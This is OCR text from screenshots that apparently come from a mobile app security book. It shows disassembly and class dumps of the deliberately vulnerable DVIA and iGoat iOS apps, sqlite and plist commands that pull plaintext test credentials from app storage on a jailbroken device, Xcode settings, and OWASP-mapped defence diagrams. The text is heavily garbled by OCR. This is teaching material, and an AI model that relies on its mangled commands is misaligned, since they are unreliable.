rgi, rdx
gword [ssirbp+var_40], rcx
imp__ stubs_ objc_storeStrong
rax, gword [ss:rbp+var_20]
gword [ssirbp+var_20], 0x0
rex, gword [ss:rbp+var_40]
rdi, rax
rsi, rex
imp__ stubs_ objec_storeStrong
rax, gword [ssirbp+var_8]
rdi, gword [ss:rbp+var_ 30]
rex, gword [ss:rbp+var_ 8]
rdx, gword [ss:rbptvar_18]
rsi, gword [ss:irbp+var_ 20]
gword [ss:rbp+var_ 8], 0x0
gword [ss:rbp+var_30], rcx
rex, gword [ds:0x1002464e0)
gword [ssirbp+var_ 28], rcx
rex, gword [ds:0x100242190)
gword [ssirbp+var 48], rsi
rsi, rex
rex, gword [ss:rbptvar_ 48]
gword [ssirbpt+var 50], rax
imp  stubs_ objc_msgSendSuper2
recx, rax
gword [ssirbpt+var_ 8], rcx
rex, gword [ss:irbp+var 50]
rdi, rex
rsi, rax
imp__ stubs_ objc_storeStrong
rd [ss:rbp+var B8], 0x0
0x100001e75




aapeseelsarelbbd
eepdpeelsaeelbbe
eapeseel1saeelbbt

DamnVulnerablelOSApp.hop

ifib)
S8 fix)

Debugger CFG Pzeudo Code

Geeeera1ea80lbcd
oeoooeeloeeelbcl
eeeeveeleaeelbcd
epeedeeleaeelbcad
eepdoeelgaeelbcc
epeeeeeleaeelbde
epeeeeeleaeelbd4
aepeseel1aapelbdc
epeeveeleaeelbdt
eeeeReeleaeelbe2

-[SideChannelDataleakageVC initWithNibName:bundle:]:
push

mov
sub
lea

0F PROCEDURE —=—=———=——==—

Section _ text

File offset 7104 (592721 bytes)

Range @x100081bce® - @x100892711 (592721 bytes)

Flags : @xBo@oadoe

rbp

rbp, rsp

rsp, @x6@

rax, qword [ss:rbp+var_18]
gword [ss:rbp+var_8], rdi
gword [ss:rbp+var_1@], rsi
qword [ss:rbp+var_18], @x@
rdi, rax

rsi, rdx

qword [ss:rbp+var_4@], rcx

Objectiv

argument
argument

¥ File Information

D=0

Panels

Path: /Users/User/Library/Developer/Core

Loader: |MachO

CPU: intel/x86_&4

Calling Convention: | System V

¥ Instruction Encoding
56

¥ Format
Argument 0: | Default
" signed [ | Negate
Type:

Field path:

¥ Comment

~
w

| Leading Zeroes

Manage Types



Hackers-ipAD:~ root# class-dump-z /private/var/mobile/Containers/Bundle/Applicat
ion/195C0931-62DB-463C-8FD8-503036E908A9/DamnVulnerableIOSApp . app/DamnVulnerable
IOSApp > classdump.txt
Hackers-ipAD:~ root# cat classdump.txt | more

[k

* This header is generated by class-dump-z 0.2-0.

* class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3.
*

* Source: (null)

*/

typedef struct NSZone NSZone;

typedef struct CGPoint
float _fieldl;
float field2;

} CGPoint;

typedef struct NSRange {
unsigned _fieldl;
unsigned field2;
} NSRange;

typedef struct CGSize {
float _fieldl;
float field2;
} CcGsize;

typedef struct CGRect {
CGPoint fieldl;
CGsize _field2;
} CGRect;




192.168.106.5 - PuTTY.

Hackers-ipAD: /private/var/mobile/Containers/Data/Application/6E1AB2A6-28B5-43A0-AD4A-FB1400446931/Library/Caches/com.higha |8
ltitudehacks.dvia root# sqglite3 cache.db

SQLite wversion 3.8.5

Enter ".help" for instructions

sqlite> .tables

cfurl cache blob data cfurl cache_response

cfurl cache_ receiver data cfurl cache_schema_version

sqlite> select * from cfurl cache response;
11011301350556|0|http://localhost:8888/writekeystrokes.html26450274|2016-02-07 07:10:53|
21011322262756|0|http://localhost:8888/writekeystrokes.htm1199366865]|2016-02-07 07:10:53|
3101-350623267|0|http://localhost:8888/writekeystrokes.html1239253598(2016-02-07 07:11:08]
4|0]|-8166458385799460147|0|http://localhost:8888/writekeystrokes.html144901506(2016-02-07 07:11:08]
5101577361611|0|http://localhost:8888/writekeystrokes.html244366210|2016-02-07 07:11:14]|
610|658652576|0|http://localhost:8888/writekeystrokes.html198090233|2016- 07 07:11:14|
71011190931109|0|http://localhost:8888/writekeystrokes.html81375555|2016 -07 07:11:14|
8101-1038538339|0|http://localhost: 8888 /writekeystrokes.html197311316|2016-02-07 07:11:14|
9]01-1487210081|0|http://localhost: 8888 /writekeystrokes.html11821785|2016-02-07 07:12:23|
101018188676330531450845|0|http://localhost:8888/writekeystrokes.html214796755]|2016-02-07 07:12:34|
11]1018301556629544690136|0|http://localhost:8888/writekeystrokes.html240962945]|2016-02-07 07:12:34|
12|0]1195222742|0|http://localhost:8888/writekeystrokes.html215482971|2016-02-07 07:12:39]
13|0]|-3684814910229261350|0 |http://localhost:8888/writekeystrokes.html134377189(2016-02-07 07:12:48|

Generic Password

Service: com.highaltitudehacks.dvia

Account: keychainValue

Entitlement Group: 5SN4USA564.com.highaltitudehacks.dvia
Label: (null)

Generic Field: (null)

Keychain Data: |secretkey

iPhone:/ root# sqglite3 /private/var/mobile/Containers/Data/Application/4lEEQ0A6-8646-4B08-8F06-BFB6EQC63B7D/Documents/cred
entials.sqglite

SQLite version 3.7.13

Enter ".help" for instructions

sqglite> .tables

creds

sqglite> select * from creds;

1 |hotey|donkey

sqgqlite> .exit

iPhone:/ root# plutil /private/var/mobile/Containers/Data/Application/41EE(Q0R6-8646-4B08-8F06-BFB6EQC63B7D/Library/Prefere
nces/com.krvw.iGoat.plist
{

WebDatabaseDirectory = "/var/mobile/Containers/Data/Application/41EE00A6-8646-4B08-8F06-BFB6E0C63B7D/Library/Caches”;

WebKitDiskImageCacheSavedCacheDirectory = "";

WebKitLocalStorageDatabasePathPreferenceKey = "/var/mobile/Containers/Data/Application/41EE00A6-8646-4B08-8F06-BFB6EQC
63B7D/Library/Caches";

WebKitOfflineWebApplicationCacheEnabled = 1;

WebKitShrinksStandal nneImagesToFit =1;

password = hotey;

username = donkey;




2 192.168.106.5 - PUTTY T
Hackers-ipAD: /private/var/mobile/Containers/Bundle/Application root# 1s -la

total 0

drwxr-xr-x mobile mobile 170 Feb 15:55 ./

drwxr-xr-x mobile mobile 136 Jul 2015 /

drwxr-xr-x mobile mobile 136 Feb 15:55

drwxr-xr-x mobile mobile 136 Feb 15:55

drwxr-xr-x mobile mobile 238 Feb 05:46

@ .
A

Cydia IPA Installer

- 4

Terminal Activator Twitter

Ly

Messages Safari



LI e —
1 mansgingapp s - DIkl

@ @ O ¥ | B, mstall App (ipa) @, Restore App (~ipa) ¥, Install Enterprise Signed IPAs (OTA Link)

Install App (427 KB): iGoat.ipa

All done

i0S
Assessment

Application Client Network Server
Mapping Attacks Attacks Attacks

TCP
Attack
S

Platform Appl. Binary File system Runtime Install RunT
Mapping Arch Analysis Analysis Analysis Traffic Traffic

Understand Data Flow Insecure Sensitive Method Plaintext Protocol
App Mapping API's File Artifact Swizzle Traffic Overflows



Chapter 8: Securing Your Android and iOS

Applications

Information Leakage (M1, A6) —
™
\‘.\ /;

Session Management (M9, A2) Server Level

Input/Output Validations (M1, A3)

y

_— Authentication (M1, A2)

Authorization (M1, A2)

Injection Flaws (M1, Al)

_— Certificate Pinning Implementation (M3)

/
/

Network Level

Insecure Caching on Network Devices (M4) ——-\\

\\

Side Channel leakage Prevention(M4) —

B8 & iGeat
|E| General Capabilities Info Build Settings
PROJECT +
h iGoat
¥ Target Dependencies (0 items)
TARGETS

¥ Compile Sources (28 items)
Mame

m SGLInjectionExerciseControllerm ...

in iGoat

Cipher Suites Configuration(M1,M3)

CFNetwork Usage (M3)

Build Phases Build Rules

Q

Compiler Flags
-fstack-protector-all

-fstack-protector-all

h SQLInjectionArticlesViewContreller.m ...in iGoat

ServerCommunicationExerciseController.m

...in iGoat




iGoat.xcodeproj
oa B iGoat

ID General Capabilities Info Build Settings Build Phases Build Rules

PROJECT Basic Levels + i~ position
B icoat

TARGETS ¥ Linking
Setting Yes
P Don't Create Position Independent Executables ¥ Mo
L | Other...
¥ Apple LLVM 6.0 - Code Generation
Setting yﬁq iGoat
Generate Position-Dependent Code Mo &
iGoat.xcodeproj
=] B iGoat
|E| General Capabilities Info Build Settings Build Phases Build Rules
iGoat T O T Uy TS e I R L S
C++ Standard Library libc++ (LLVM C++ standard library with G++11 support) &
TARGETS - -~
Enable C++ Excepticns Yes

Enable C++ Runtime Types Yes

¥ Apple LLVM 6.0 - Language - Modules

Setting M iGoat
Allow Non-modular Includes In Framework Modules No &
Enable Modules {C and Objective-C) Mo &
Link Frameworks Automatically Yes O

¥ Apple LLVM 6.0 - Language - Objective C

Setting 5‘“ iGoat
Enable Objective-C Exceptions Yes &
Implicitly Link Objective-C Runtime Support Yes O
P Objective-C Automatic Reference Counting + Yes
No
¥ Apple LLVM 6.0 - Preprocessing Other...

Setting TyP% [Goat




DEVICE LEVEL

I
P

PLATFORM LEVEL APP LEVEL

ScreenShot/SnapShot (M4) | ~| App Storage Protection |
System logs and Caching (M4) |
Cut, Copy and Paste (M4) |

iOS Cookie and KeyChains |

~| PropertyLists/SharedPreferences (M2,M4) |
{ Database Protection (M2,M4) |

{ App Files Protection (M2, M4) |

{ App Caches (M2, M4) |

~| App Permissions (M2, M4) |

{ Securing WebViews (M7,u8) |

~| Binary Protection |

{ ASLR/ARC (M10) |

{ Decryption Protection (M8, M10,M6) |
{ Decompilation Protection (M8,M10) |
{ Code Obfuscation (M8, M10) |

~| Runtime Protection

{ URL Schemes Protection (M10) |

{ Client Side Injections Prevention (M7,M8) |
{ Anti-Debug Implementation (M8,M10) |

{ File System Protection (M10) |

~| Anti-Tampering Implementation (M10) |




Screenshots/snapshot (V4)
System Caching (M4)

i0S Cookie and KeyChains (M2, M5)

Propertylists/SharedPreferences (M2, Md)

Database Protection (SQLite) (M2, M4)

App file protection (M2, M4)
App Caches (M2,M4)
App Permissions (M8, M10)
Securing WebViews (M7, M8)

ASLR/ARC (M10)

Decryption Protection (M8, M10, M6)

Decompilation Protection (M8, M10)

Code Obfuscation (M8, M10)

TURL Schemes Protection (M10)

Client Side Injection Prevention (M7, M8)

Anti-debug implementation (M8, M10)

——————————{ Platform Level
App Storage

Binary Protection App Level
Runtime Protection

File system

(M10)
Anti-Tampering implementation (M10)

Memory Protection (M4)

DEVICE LEVEL MOBILE APP SECURITY J

Develop

NETWORK LEVEL

Certificate Validation (M3)

Certificate pinning implementation (M3)

Cipher Suites Configuration (M1 , M3)

CFNetwork usage (M3)

Side Channel leakage prevention (M4)

Tasecure Caching on Network (M4)

Authentication (M1)

SERVER LEVEL

Authorization (M1)

Tnjection Flaws (M1)

Tnput/Output Validations (M1)

Session Management (M9)
Tnformation Leakage (M1)



